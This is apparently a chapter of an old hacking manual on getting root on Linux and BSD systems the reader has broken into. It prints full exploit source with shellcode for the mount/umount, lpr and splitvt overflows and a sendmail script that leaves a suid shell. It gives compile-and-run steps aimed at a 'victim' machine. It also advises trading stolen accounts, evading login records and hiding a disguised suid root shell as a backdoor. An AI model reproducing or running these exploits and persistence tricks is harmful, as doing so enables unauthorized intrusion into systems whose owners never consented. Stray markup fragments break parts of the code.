Getting the root account
Topics:
Bugs
Exploits
Like I said before all you need is one account in most cases, if you cannot
get
root on the system you might want to trade it off to some irc junkie that
just wants to load a bot, for some other account or info that can help
you in
your hacking quest. There will be enough information here so that
if you can't
get root access, their system is well kept and probably will be kept up
in the
future. You can always lay the account on the side, put the info
in some kind
of log file with some good notes so that you can come back at a later time,
like right when a new exploit comes out ;)
Try to stay out of the system until that time so that you do not risk loosing
the account. Remember that when you login to an account and can't
get root
you will not be able to clean the logs, and the next time the user logs
in he
might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx
Bugs
There are many bugs out there in different programs that you can use to
get
root. It might be a game installed on the system, or even the sendmail
program. If they do not update their programs on a regular basis,
you can
be sure you will be able to get in now, and if not, soon to come.
I will be sure to provide the main exploits and bugs here and other less
used below in the appendix section. I will make sure here to give
you detailed
english terms so that you can exploit root on the system. But please
be sure
to read the sections below, and this manual entirely before proceeding,
to be
sure you get started in the right way and not blow you chances of having
a
long stay on the system.
------------
Exploits
umount/mount exploit
Look in the /bin directory for a file called umount (or mount),
if you do not find it there do a search for the file like this:
find / -name umount -print -xdev
(you can look for any other file name the same way)
Go to the directory where the file is and do: ls -al um*
If the file has suid perm's you can probably get root.
SUID perm's has the rws for the owner of the file which is root.
What you are
looking for is the (s)
Look here:
victim:/bin# ls -al um*
-rwsr-sr-x 1 root
8888 Mar 21 1995 umount
victim:/bin#
This machine we can get root by a compile on the file below:
umount.c
------ cut here
/* sno.c : Linux realpath exploit
* Syntax: ./sno N
* mount $WOOT
* OR umount $WOOT
* N is some number which seems to differ between 4 & 8, if your
number is
* too big, you will get a mount error, if it is too small, it will
seg
* fault. Figure it out. (Sometimes N=0 for mount)
* If you use mount, first thing to do once you get the root shell
is rm
* /etc/mtab~, if this file exists you can't root with mount until
it is
* removed.
*
*
* &nbs
p;
-ReDragon
*/
#define SIZE 1024
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address
+ null byte */
int a,r;
char *ptr;
long *addr_ptr;
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *exec_ptr = execshell;
r=atoi(argv[1]);
ptr = env;
memcpy(ptr,"WOOT=",5); /* set environment variable to use
*/
ptr += 5;
for(a=0;a<SIZE+4-strlen(execshell)-r;a++) /* pad
front with NOPs */
*(ptr++) = 0x90;
while (*exec_ptr)
*(ptr++) = *(exec_ptr++);
addr_ptr = (long *)ptr;
*(addr_ptr++) = get_esp()+1139; /* 0xbffffc01 */
ptr = (char *) addr_ptr;
*ptr = 0; /* must end with null byte to terminate string */
putenv(env);
system("/bin/mount $WOOT");
}
----------- cut here
**********************************
To compile the file on the victims machine type gcc umount.c (or what ever
name you called it) -o um
This will make a file called um that you can exec. Sometimes you
will need
to put a ./ in front of the file like this: ./um
With this exploit you might also have to give it a number like:
./um 0 (or) ./um 4 ....alltheway up to 8... like this again ./um 8
*************************************
If you fail here you might want to try lpr. Look in the /usr/bin
for lpr and
see if it is SUID, if it is lpr should work if it is up on the system.
ls -l lpr
Ok it had suid perm's? Use this script
*************************************
lpr.linux.c
------------- cut here
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET
50
#define BUFFER_SIZE
1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
---------- cut here
***************************
Here is the BSD version
***************************
lpr.bsd.c
--------------------------------------------------------- cut here
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET
50
#define BUFFER_SIZE
1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------- cut here
Now just compile it and chmod it +x, and run it.
Watch this one on the group file owner. Any file you copy will have
group owner as lp, make sure you chgrp root filename on any file you
write. Always be watching the user groups with ls -l and if you changed
any change them back like this:
chgrp groupname filename
It is a good idea to use this exploit ONLY to get the root access, then
just copy bash or sh to another file name on the system somewhere and make
it root root, suid: Group owner and File owner root, then chmod it
+s
This will give you root access in the future as gid and uid root, without
using
the lp group. Make sure you name it something that looks like it
should be
running as a root process somewhere ;)
*****************
Here is another that is still around after a while, look for SUID perm's
on a file /usr/bin/splitvt
If it has suid perm's use this file below, but be sure to read the directions
after the exploit:
****************************************
sp.c
-------------------------------------------- cut here
/*
*
Avalon Security Research
* Release 1.3
* (splitvt)
*
* Affected Program: splitvt(1)
*
* Affected Operating Systems: Linux 2-3.X
*
* Exploitation Result: Local users can obtain superuser privileges.
*
* Bug Synopsis: A stack overflow exists via user defined unbounds
checked
* user supplied data sent to a sprintf().
*
* Syntax:
* crimson~$ cc -o sp sp.c
* crimson~$ sp
* bash$ sp
* bash$ splitvt
* bash# whoami
* root
*
* Credit: Full credit for this bug (both the research and the code)
* goes to Dave G. & Vic M. Any questions should be directed
to
* mcpheea@cadvision.com .
*
* ----------------------------------------------------------------------------
*/
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
char eggplant[2048];
int a;
char *egg;
long *egg2;
char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *eggie = realegg;
egg = eggplant;
*(egg++) = 'H';
*(egg++) = 'O';
*(egg++) = 'M';
*(egg++) = 'E';
*(egg++) = '=';
egg2 = (long *)egg;
for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
egg=(char *)egg2;
for (a=0;a<0x40;a++) *(egg++) = 0x90;
while (*eggie)
*(egg++) = *(eggie++);
*egg = 0; /* terminate eggplant! */
putenv(eggplant);
system("/bin/bash");
}
-------------- cut here
Ok this is how splitvt works:
1. Compile the file
2. Run the sp file
3. Run splitvt
Before you run the file: whoami {press enter}
username
After you run the exploit: whoami
root
*******************************************************
Now if all of these have not got you root, try sm.sh. This is a sendmail
bug that works with 8.73 to 8.83 (maybe some others)
Here is the script:
sm.sh
---------- cut here
echo 'main()
;
'>>smtpd.c
echo '{ &nbs
p;
'>>smtpd.c
echo ' setuid(0); setgid(0);
'>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
'>>smtpd.c
echo '} &nbs
p;
'>>smtpd.c
echo 'main()
;
'>>leshka.c
echo '{ &nbs
p;
'>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0);
'>>leshka.c
echo '} &nbs
p;
'>>leshka.c
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here
Just chmod the file +x like this
chmod +x sm.sh
1. Run the file
2. It will take you to the /tmp directory
3. type ls -l and see if you have a SUID sh file there, if you do, type
whoami, if not root, run the file ./sh, now see if you are
root ;)
I will add many more scripts in the appendix, but these should be the best
at this time to get root access on linux or BSD, if you need another BSD
exploit try the crontab exploit for BSD in the appendix.
****************************************************************************
Back to
Index